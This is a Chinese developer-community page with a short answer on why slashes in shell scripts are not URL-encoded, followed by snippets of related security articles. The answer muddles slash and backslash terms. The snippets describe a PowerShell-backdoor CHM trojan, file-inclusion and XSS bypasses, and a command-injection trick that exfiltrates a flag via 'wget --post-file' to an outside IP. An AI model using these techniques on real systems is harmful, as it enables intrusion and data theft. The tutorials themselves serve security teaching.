首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

为什么这个shell脚本中的黑斜杠没有url编码?

在Shell脚本中,黑斜杠(/)通常不需要进行URL编码,因为URL编码主要用于将特殊字符转换为URL安全的格式,以便在URL中传输和解析。而在Shell脚本中,黑斜杠通常用作文件路径的分隔符,不会被解析为URL中的特殊字符。

URL编码主要用于将URL中的特殊字符进行转义,以避免与URL语法冲突或引起解析错误。例如,空格在URL中需要被编码为%20,而斜杠在URL中需要被编码为%2F。但是,在Shell脚本中,黑斜杠用作文件路径的分隔符,并不会被解析为URL中的特殊字符,因此不需要进行URL编码。

需要注意的是,如果在Shell脚本中需要将文件路径作为URL的一部分进行传输或解析,那么在拼接URL时,可能需要对文件路径中的特殊字符进行URL编码,以确保URL的正确性和可解析性。这时可以使用Shell脚本中的URL编码函数或工具来进行编码操作。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

制作chm格式木马病毒

直接在chm写入powershell代码你会发现,执行powershell会弹出一个框?代码执行了没有生效?...(至于为什么没有生效,可能跟CHM语法相关,我尝试过修改参数格式几次后没再尝试了,有兴趣同学可以去查阅资料。)弹出一个框?这不就完全暴露了自己是木马了吗?...并没有任何框弹出来,然而一个简易shell便建立了。 在该shell环境下,输入run,然后再输入前面生成powershell后门脚本,一个强大shell环境便产生了。... 上述powershell命令存在特殊字符,导致命令失效。这时,我们可以将powershell要执行命令进行base64编码来解决该问题。...可是由于powershell脚本会弹出框,容易被发现,因此需要先生成中间层不容易被发现简易shell,来执行powershell脚本代码。最终实现不弹框、功能强大shell环境。

5.7K10

网络安全之文件包含漏洞就是这么简单

几乎所有的脚本语言中都会提供文件包含功能,但文件包含漏洞在PHP Web Application居多,在JSP、ASP十分少甚至没有,问题在于语言设计弊端。因此后续均以PHP为主。...include:找不到被包含文件时只会产生警告,脚本将继续执行。include_once:和include()语句类似,唯一区别是如果该文件代码已经被包含,则不会再次包含。...require:找不到被包含文件时会产生致命错误,并停止脚本。require_once:和require()语句类似,唯一区别是如果该文件代码已经被包含,则不会再次包含。漏洞示例代码****<?.../proc/self/environ还是通过回溯符…/,主要是对内容进行编码URL编码2次URL编码容器/服务器支持编码,…%c0%af== …/,…%c1%9c == …\指定后缀漏洞代码:<?...(点)/(反斜杠)\(反斜杠)等特殊字符尽量关闭allow_url_include配置PHP 中使用 open_basedir 配置限制访问在指定区域对需要包含文件设置文件白名单

45940
  • 高效Shell编程建议及入坑

    因为很多单行shell命令不是那么浅显易懂,没有注释的话在维护起来会让人尤其头大。...魔数是指在shell脚本开头预定义变量,只在shell执行中有效; 通常是用一个变量形式定义在开头,然后调用时候直接调用这个变量,这样方便日后修改。...,但是需要注意再能使用英文输出情况下尽量才用英文,因为有的机器默认是英文语言环境再这样环境执行打出来中文可能是乱码; 注意:在windows下用utf-8编码来写shell脚本时候,一定要注意这个...9)请勿再脚本编码敏感信息 描述:不要把密码硬编码脚本里,不要把密码硬编码脚本里,不要把密码硬编码脚本里。...13)字符串变量测试比较时候 字符串比较时用 = 而不是 ==,为什么会有这个建议,原文并没有给出详细说明只是简单提了句:== 是 = 同义词,因此仅用个单个 = 来做字符串比较。

    84310

    反射跨站脚本(XSS)示例

    ,但为什么我们使用这个有效载荷呢?...始终测试URL本身。您可能会发现这没有验证,它值被附加到脚本变量,或者它被添加到响应其他地方。...难道他们是有效参数吗? 让我们复制它们,将它们放在URL,然后发送请求。 正如你所看到,“CTid”参数在被放入页面之前没有被消毒!那么,我想我们有赢家。...经验教训 - 阅读代码 如果您在URL没有看到该参数,则并不意味着它不在其他位置。总是阅读应用程序内脚本,并尝试运气,使用你想象力,也许是一个模糊或一个好单词列表。...所以通过插入脚本src = x>得到字符串将是:。过滤器还没有被绕过。 通过插入标准URL编码尖括号,应用程序简单地把它们编码

    2.9K70

    详解Linux关于引号那些事

    本文详细给大家介绍了关于Linux引号相关内容,分享出来供大家参考学习,下面来一起看看详细介绍: 引号 我们将把编写脚本事情暂时搁在一边,然后来讨论一些,我们一直在用,但是没有解释东西。...引号有两个作用: 控制字符替换 和 执行将单词包含在一起功能 我们已经使用过引号。在我们脚本里面,将文本信息赋值给常量赋值操作就使用了引号: ? 在上面这个例子,文本信息是被双引号包括住。...例如,下面两个语句是等价: ? 为什么在软件,这两种形式都是支持呢?短那种形式,是专门为那些懒输入员而设定,而长那种形式,是专门为写脚本而存在。...你有可能会疑虑,使用长命令形式,会导致一个单独命令变得很长。 为了与这个问题斗争,你可以使用反斜杠来让shell解释器忽略换行符号,正如下面的操作: ?...这样使用反斜杠,可以让我们将每行内容包含在一个单独命令。让这个技巧可以应用,要注意地方:换行,必须在反斜杠后面马上出现(也就是,在输入了反斜杠之后,就必须换行了)。

    3.2K61

    shell妙用 —— 发post请求刷新CDN缓存

    前言 shell 是个好东西,建议学习下:) 本文将讲解如何用shell开发自动化脚本刷新CDN缓存。...为什么会做这个脚本,根本原因还是懒… 公司运维,很贴心开发了一个form表单网页,专门给前端同学刷新CDN缓存。...虽然可以满足要求,但是每次上一次项目,就得打开该网页,输入SecretKey和需要刷新URL地址,很心累。 有痛点,那么就尝试解决它! 一、shell脚本 #!...,用反斜杠续行 经常修改url独立成变量 三、执行自动化脚本 window环境下,可用Git Bash工具跑shell linux环境,直接在终端跑就可以了 命令例子:bash cdn.sh 后记 有前端同事...,用commander+axios做了一个刷新CDN工具,但是,没我这个来得简单粗爆:) shell就是这么好用~ 参考 curl网站开发指南

    4.9K30

    Flask 学习-2.url访问地址(路由配置)

    ,但可以包含斜杠 uuid  接受 UUID 字符串 通过把 URL 一部分标记为就可以在 URL 添加变量。...访问一个没有斜杠结尾 URL ( /projects )时 Flask 会自动进行重 定向,帮您在尾部加上一个斜杠( /projects/ )。...about URL 没有尾部斜杠,因此其行为表现与一个文件类似。如果访问这 个 URL 时添加了尾部斜杠(/about/ )就会得到一个 404 “未找到” 错 误。...它可以接受任意个关键字参数,每个关键字参数对应 URL 变量。未知变量 将添加到 URL 作为查询参数。 为什么不把 URL 写死在模板,而要使用反转函数 url_for() 动态构建?...test_request_context() 告诉 Flask 正在处理一个请求,而实际上也许我们正处在交互 Python shell 之中, 并没有真正请求。

    1.6K10

    Bash Shell 单引号和双引号区别

    引号是 Linux shell “特殊功能”,它可能会让人感到困惑,特别是如果您不熟悉 Linux 命令和 shell 脚本。 我将解释不同类型引号字符及其在 shell 脚本用法。...在上面的例子,它Steve作为 grep 第一个参数,但是Waugh和cricket作为它应该在其中执行搜索文件。由于没有名为 文件Waugh,因此会引发错误。...当命令太长或命令组合时,您会看到一些网站使用反斜杠在多行显示单个命令。这使命令/代码更具可读性。 以这个长命令为例。...以下面的示例为例,其中$5被视为未声明变量,因此它没有值。这就是为什么从echo 命令输出忽略它原因。...[202204081703625.png] 不再推荐反引号 多年来,反引号用于 Shell 脚本命令替换,但是现在,现代 UNIX 和 Linux 系统更喜欢这种$(command)结构。

    3.6K50

    超详细讲解命令执行漏洞

    ,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令 当黑客能控制这些函数参数时,就可以将恶意系统命令拼接到正常命令,从而造成命令执行漏洞...漏洞危害 继承Web服务器程序权限,去执行系统命令或读写文件 反弹shell 控制整个网站,甚至控制整个服务器 漏洞产生原因 没有对用户输入进行过滤或过滤不严 例如,没有过滤&、&&、|、||等连接符...eval(string) # 返回表达式或代码对象值 execfile(string) # 从一个文件读取和执行Python脚本 input(string) # Python2.x input...,可以将分隔符编码后(url编码,base64等)绕过 八进制绕过 $(printf “\154\163”)//ls命令,这个编码后可以拼接 //这里过滤了-.等符号,只允许0-9a-zA-Z"\\\$...wget带出:wget --post-file flag 47.100.120.123:2333 长度绕过 详细见P牛文章linux命令执行时候可以使用反斜杠换行;bash脚本同样适用上面的规则;可以用文件名加反斜杠构成命令

    5.6K42

    如何从Bash脚本本身获得其所在目录

    问: 如何从Bash脚本本身获得其所在目录? 我想使用Bash脚本作为另一个应用程序启动器。我想把工作目录改为Bash脚本所在目录,以便我可以对该目录下文件进行操作,像这样: $ ....但是在以相对路径方式去执行脚本时,获取目录信息是相对路径,不能满足其他需要获取绝对路径场景。 如果要获取绝对路径,可以使用如下方法: #!...测试结果如下: 另外,可以根据第一种方法结合使用 realpath 命令,也可获取脚本所在目录绝对路径: #!...编程$(cmd) 和 `cmd` 之间有什么区别 为什么我不能在脚本中使用"cd"来更改目录 为什么在可执行文件或脚本名称之前需要..../(点-斜杠),以便在bash运行它 shell脚本编码和行尾符敏感吗

    33720

    编写Linux Shell脚本最佳实践

    /a.sh来执行这个脚本时候,如果没有shebang,那么它就会默认用$SHELL指定解释器,否则就会用shebang指定解释器。...这里还尤其需要注意一点,就是当我们是在windows下用utf-8编码来写shell脚本时候,一定要注意这个utf-8是否是有BOM。...在shell,我们也有类似的小技巧: 我们可以采用这种写法,同样实现类似的main函数,使得脚本结构化程度更好。...考虑作用域 shell默认变量作用域都是全局,比如下面的脚本: 他输出结果就是2而不是1,这样显然不符合我们编码习惯,很容易造成一些问题。...函数返回值 在使用函数时候一定要注意,shell函数返回值只能是整数,估计是因为一般情况下一个函数返回值通常表示这个函数运行状态,所以一般都是0或者是1就够了,因此就设计成了这样。

    75920

    编写Linux Shell脚本最佳实践

    /a.sh来执行这个脚本时候,如果没有shebang,那么它就会默认用$SHELL指定解释器,否则就会用shebang指定解释器。...这里还尤其需要注意一点,就是当我们是在windows下用utf-8编码来写shell脚本时候,一定要注意这个utf-8是否是有BOM。...在shell,我们也有类似的小技巧: 我们可以采用这种写法,同样实现类似的main函数,使得脚本结构化程度更好。...考虑作用域 shell默认变量作用域都是全局,比如下面的脚本: 他输出结果就是2而不是1,这样显然不符合我们编码习惯,很容易造成一些问题。...函数返回值 在使用函数时候一定要注意,shell函数返回值只能是整数,估计是因为一般情况下一个函数返回值通常表示这个函数运行状态,所以一般都是0或者是1就够了,因此就设计成了这样。

    1.1K90

    DockerFile就这么简单

    在docker早期版本没有LABEL指令,而是使用MAINTAINER指令,MAINTAINER指令后面只能跟一个字符串,用来指定作者信息,在新版docker这个指令已经被弃用,官方推荐使用...form shell格式命令) CMD指令可以直接指定一个可执行命令,就是上述第一和第三种方式,当创建容器时会去执行这个命令,而且需要注意是,第三种方式是默认在shell执行,可以引用shell...「ADD指令遵循如下规则:」 如果是URL,并且不以斜杠结尾,则从URL下载文件并将其复制到; 如果是URL,并且以斜杠结尾,则从URL推断文件名,并将文件下载到/。...HEALTHCHECK指令 HEALTHCHECK指令是用来做容器健康检查这个指令是在Docker 1.12版本被加入,在早期版本并不支持,这个指令可以让我们自定义容器健康状态检查脚本或者命令...是因为我们容器是根据启动命令是否运行来判断容器是否健康,这就导致一个问题,有时我们应用程序确实在运行,进程并没有退出,但是此时由于bug或其他原因导致程序已经无法正常对外提供服务,那么此时我们就需要用一个命令或者脚本来检测我们服务

    1.6K20

    bWAPP 玩法总结

    3、修复这个漏洞,通过 escapeshellcmd 函数对特殊字符进行转义,把输入当作一个字符串直接导入 shell 函数,并且只当作单个安全命令。...该函数用来转义来自用户输入针对 shell 函数单个参数,shell 函数包括 exec()、system() 和反引号操作符。或者直接去掉输入 ';'、'|'、'&&'。 ?...2、漏洞产生原因是在输入数据送入 mysql 查询之前没有进行检查。以下代码反应了没有做任何检查。 ? 3、修复该漏洞需要对可解析字符进行检测,比如引号、反斜杠等,避免这些字符被解析执行。...2、脚本文件接收用户输入 login ID,但是并没有检查这是否是目前登陆用户(会话变量登陆用户)。 ?...3、修复这个漏洞,必须对输入进行检查,确保 "../” 这样字符串无论如何不会出现在目录字符串

    21.1K45

    bwapp详细教程_APP总结报告怎么做

    该函数用来转义来自用户输入针对 shell 函数单个参数,shell 函数包括 exec()、system() 和反引号操作符。或者直接去掉输入 ‘;’、’|’、’&&’。...(根据实际情况来选择文件,有的文件为空,什么都没有,就会导致没有列出任何内容,避免踩坑) 解决方案: 1、查看后台服务器响应脚本 ( phpi.php )。...2、漏洞产生原因是在输入数据送入 mysql 查询之前没有进行检查。以下代码反应了没有做任何检查。 3、修复该漏洞需要对可解析字符进行检测,比如引号、反斜杠等,避免这些字符被解析执行。...2、脚本文件接收用户输入 login ID,但是并没有检查这是否是目前登陆用户(会话变量登陆用户)。 3、修复这个漏洞,需要检查用户提供 login ID 和会话存储 login ID。...3、修复这个漏洞,必须对输入进行检查,确保 “../” 这样字符串无论如何不会出现在目录字符串

    2.7K10

    Linux笔记5.展开与引用

    shell 脚本中比直接在命令行更有用。...在第二个例子, 参数展开把 $1 值替换为一个空字符串,因为 1 是没有定义变量。shell 提供了一种 叫做引用机制,来有选择地禁止不需要展开。...双引号 我们将要看一下引用第一种类型,双引号。如果你把文本放在双引号shell 使用特殊字符,除了 $,\ (反斜杠),和 `(倒引号)之外, 则失去它们特殊含义,被当作普通字符来看待。...我们可以在字符之前加上一个反斜杠,在这个上下文中叫做转义字符。经常在双引号中使用转义字符,来有选择地阻止展开。...反斜杠转义字符序列 反斜杠除了作为转义字符外,反斜杠也是一种表示法一部分,这种表示法代表某种 特殊字符,叫做控制码。ASCII 编码前32个字符被用来把命令转输到像电报机 一样设备。

    75340

    PHP 文件包含漏洞姿势总结

    3、require() 只要程序一执行就会立即调用文件,发生错误时候会输出错误信息,并且终止脚本运行 4、require_once() 它功能与 require() 相同,区别在于当重复调用同一文件时...而区分他们最简单方法就是 php.ini 是否开启了allow_url_include。如果开启 了我们就有可能包含远程文件。...由于包含需要知道包含文件名。一种方法是进行暴力猜解,linux 下使用随机函数有缺陷,而 window 下只有 65535 不同文件名,所以这个方法是可行。...2、协议原型:zip://archive.zip#dir/file.txt 3、注意 url 编码,因为这个 # 会和 url 协议 # 冲突 CTF 文件包含套路 php 伪协议读取源码 点击...那么我们这时候有没有办法绕过这个限制呢?有一个条件那就是 php 版本小于 5.3.10 我们代码依旧不变 漏洞文件 index.php <?

    4.1K22

    如何处理Shell脚本特殊字符

    在本教程,我们将介绍有关处理 shell 脚本特殊字符最常见用例。首先,我们将讨论 shell 脚本包装命令和变量替换。 然后,我们将处理包含特定前缀文件名。...最后,我们将看到Shellcheck实用程序运行情况,以及我们如何使用它来确保我们脚本没有任何警告。 2....阅读无选项 read命令从变量、文件或标准输入读取输入。当我们在不带任何选项shell脚本中使用read命令时,它会对空格、反斜杠、续行等特殊字符进行一些操作。...反斜杠也被保留。 4.3. IFS环境变量 上面输出缺少一件事是前导双空格。读取命令会占用前导空格,并且没有合适选项供我们指定。 因此,我们需要取消(清空)IFS(内部字段分隔符)环境变量。...用反斜杠转义特殊字符 在 shell ,转义特殊字符最常见方法是在字符前使用反斜杠。这些特殊字符包括 ?、+、$、! 和 [ 等字符。

    7.5K30
    领券